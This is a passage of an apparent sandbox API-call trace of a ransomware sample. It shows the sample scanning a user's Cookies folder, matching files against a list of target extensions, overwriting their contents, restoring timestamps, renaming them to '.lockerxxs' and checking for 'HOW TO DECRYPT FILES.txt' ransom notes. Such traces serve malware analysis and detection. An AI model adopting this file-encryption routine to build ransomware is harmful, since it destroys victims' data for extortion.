HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt" [0088.350] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt." [0088.350] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt.lockerxxs" [0088.350] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0088.351] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x56 [0088.351] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x1dcf9270, dwHighDateTime=0x1d35d06), lpLastAccessTime=0x407536*(dwLowDateTime=0x1dcf9270, dwHighDateTime=0x1d35d06), lpLastWriteTime=0x40753e*(dwLowDateTime=0x1dcf9270, dwHighDateTime=0x1d35d06)) returned 1 [0088.352] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.352] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x30, lpOverlapped=0x0) returned 1 [0088.353] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt") returned="5p5nrgjn0js_halpmcxz@ml314[1].txt" [0088.353] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.353] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x30, lpOverlapped=0x0) returned 1 [0088.354] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.354] CloseHandle (hObject=0x98) returned 1 [0088.354] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt.lockerxxs")) returned 1 [0088.355] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1e5e64f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1e5e64f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1e5e64f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x19e, dwReserved0=0x1800031b, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@rlcdn[2].txt", cAlternateFileName="5P94E6~1.TXT")) returned 1 [0088.356] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.356] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@rlcdn[2].txt") returned 1 [0088.356] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@rlcdn[2].txt") returned 1 [0088.356] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@rlcdn[2].txt") returned -1 [0088.356] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt") returned="5p5nrgjn0js_halpmcxz@ml314[1].txt" [0088.356] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" [0088.356] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned="" [0088.356] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\HOW TO DECRYPT FILES.txt" [0088.356] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\how to decrypt files.txt")) returned 0x2020 [0088.356] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", lpString2="5p5nrgjn0js_halpmcxz@rlcdn[2].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt" [0088.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt", pszSpec="*.ems") returned 0 [0088.356] lstrlenA (lpString="*.ems") returned 5 [0088.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt", pszSpec="*.db") returned 0 [0088.356] lstrlenA (lpString="*.db") returned 4 [0088.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt", pszSpec="*.dbf") returned 0 [0088.356] lstrlenA (lpString="*.dbf") returned 5 [0088.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt", pszSpec="*.myox") returned 0 [0088.357] lstrlenA (lpString="*.myox") returned 6 [0088.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt", pszSpec="*.myo") returned 0 [0088.357] lstrlenA (lpString="*.myo") returned 5 [0088.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt", pszSpec="*.qbw") returned 0 [0088.357] lstrlenA (lpString="*.qbw") returned 5 [0088.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt", pszSpec="*.qbb") returned 0 [0088.357] lstrlenA (lpString="*.qbb") returned 5 [0088.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt", pszSpec="*.qbm") returned 0 [0088.357] lstrlenA (lpString="*.qbm") returned 5 [0088.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt", pszSpec="*.qbo") returned 0 [0088.357] lstrlenA (lpString="*.qbo") returned 5 [0088.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt", pszSpec="*.qbx") returned 0 [0088.357] lstrlenA (lpString="*.qbx") returned 5 [0088.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt", pszSpec="*.qba") returned 0 [0088.357] lstrlenA (lpString="*.qba") returned 5 [0088.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt", pszSpec="*.qby") returned 0 [0088.357] lstrlenA (lpString="*.qby") returned 5 [0088.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt", pszSpec="*.qbj") returned 0 [0088.357] lstrlenA (lpString="*.qbj") returned 5 [0088.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt", pszSpec="*.ofx") returned 0 [0088.358] lstrlenA (lpString="*.ofx") returned 5 [0088.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt", pszSpec="*.qif") returned 0 [0088.358] lstrlenA (lpString="*.qif") returned 5 [0088.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt", pszSpec="*.mye") returned 0 [0088.358] lstrlenA (lpString="*.mye") returned 5 [0088.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt", pszSpec="*.mbox") returned 0 [0088.358] lstrlenA (lpString="*.mbox") returned 6 [0088.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt", pszSpec="*.eml") returned 0 [0088.358] lstrlenA (lpString="*.eml") returned 5 [0088.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt", pszSpec="*.pst") returned 0 [0088.358] lstrlenA (lpString="*.pst") returned 5 [0088.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt", pszSpec="*.ost") returned 0 [0088.358] lstrlenA (lpString="*.ost") returned 5 [0088.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt", pszSpec="*.idx") returned 0 [0088.358] lstrlenA (lpString="*.idx") returned 5 [0088.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt", pszSpec="*.dbx") returned 0 [0088.358] lstrlenA (lpString="*.dbx") returned 5 [0088.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt", pszSpec="*.sql") returned 0 [0088.358] lstrlenA (lpString="*.sql") returned 5 [0088.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt", pszSpec="*.mdb") returned 0 [0088.359] lstrlenA (lpString="*.mdb") returned 5 [0088.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt", pszSpec="*.fdb") returned 0 [0088.359] lstrlenA (lpString="*.fdb") returned 5 [0088.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt", pszSpec="*.wab") returned 0 [0088.359] lstrlenA (lpString="*.wab") returned 5 [0088.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt", pszSpec="*.dat") returned 0 [0088.359] lstrlenA (lpString="*.dat") returned 5 [0088.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt", pszSpec="*.txt") returned 1 [0088.359] lstrlenA (lpString="*.txt") returned 5 [0088.359] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt" [0088.359] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt" [0088.359] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt." [0088.359] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt.lockerxxs" [0088.359] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0088.361] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x19e [0088.361] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x1e5e64f0, dwHighDateTime=0x1d35d06), lpLastAccessTime=0x407536*(dwLowDateTime=0x1e5e64f0, dwHighDateTime=0x1d35d06), lpLastWriteTime=0x40753e*(dwLowDateTime=0x1e5e64f0, dwHighDateTime=0x1d35d06)) returned 1 [0088.361] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.362] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x178, lpOverlapped=0x0) returned 1 [0088.363] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt") returned="5p5nrgjn0js_halpmcxz@rlcdn[2].txt" [0088.363] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.363] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x178, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x178, lpOverlapped=0x0) returned 1 [0088.364] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.364] CloseHandle (hObject=0x98) returned 1 [0088.364] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt.lockerxxs")) returned 1 [0088.365] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe1f2bdb0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x1800031b, dwReserved1=0x4e00c4, cFileName="index.dat", cAlternateFileName="")) returned 1 [0088.366] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.366] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="index.dat") returned -1 [0088.366] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="index.dat") returned -1 [0088.366] lstrcmpiA (lpString1="", lpString2="index.dat") returned -1 [0088.366] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt") returned="5p5nrgjn0js_halpmcxz@rlcdn[2].txt" [0088.366] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" [0088.366] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned="" [0088.366] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\HOW TO DECRYPT FILES.txt" [0088.366] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\how to decrypt files.txt")) returned 0x2020 [0088.366] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", lpString2="index.dat" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" [0088.366] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat", pszSpec="*.ems") returned 0 [0088.366] lstrlenA (lpString="*.ems") returned 5 [0088.366] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat", pszSpec="*.db") returned 0 [0088.366] lstrlenA (lpString="*.db") returned 4 [0088.366] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat", pszSpec="*.dbf") returned 0 [0088.366] lstrlenA (lpString="*.dbf") returned 5 [0088.366] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat", pszSpec="*.myox") returned 0 [0088.366] lstrlenA (lpString="*.myox") returned 6 [0088.367] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat", pszSpec="*.myo") returned 0 [0088.367] lstrlenA (lpString="*.myo") returned 5 [0088.367] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat", pszSpec="*.qbw") returned 0 [0088.367] lstrlenA (lpString="*.qbw") returned 5 [0088.367] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat", pszSpec="*.qbb") returned 0 [0088.367] lstrlenA (lpString="*.qbb") returned 5 [0088.367] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat", pszSpec="*.qbm") returned 0 [0088.367] lstrlenA (lpString="*.qbm") returned 5 [0088.367] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat", pszSpec="*.qbo") returned 0 [0088.367] lstrlenA (lpString="*.qbo") returned 5 [0088.367] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat", pszSpec="*.qbx") returned 0 [0088.367] lstrlenA (lpString="*.qbx") returned 5 [0088.367] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat", pszSpec="*.qba") returned 0 [0088.367] lstrlenA (lpString="*.qba") returned 5 [0088.367] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat", pszSpec="*.qby") returned 0 [0088.367] lstrlenA (lpString="*.qby") returned 5 [0088.367] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat", pszSpec="*.qbj") returned 0 [0088.367] lstrlenA (lpString="*.qbj") returned 5 [0088.367] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat", pszSpec="*.ofx") returned 0 [0088.368] lstrlenA (lpString="*.ofx") returned 5 [0088.368] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 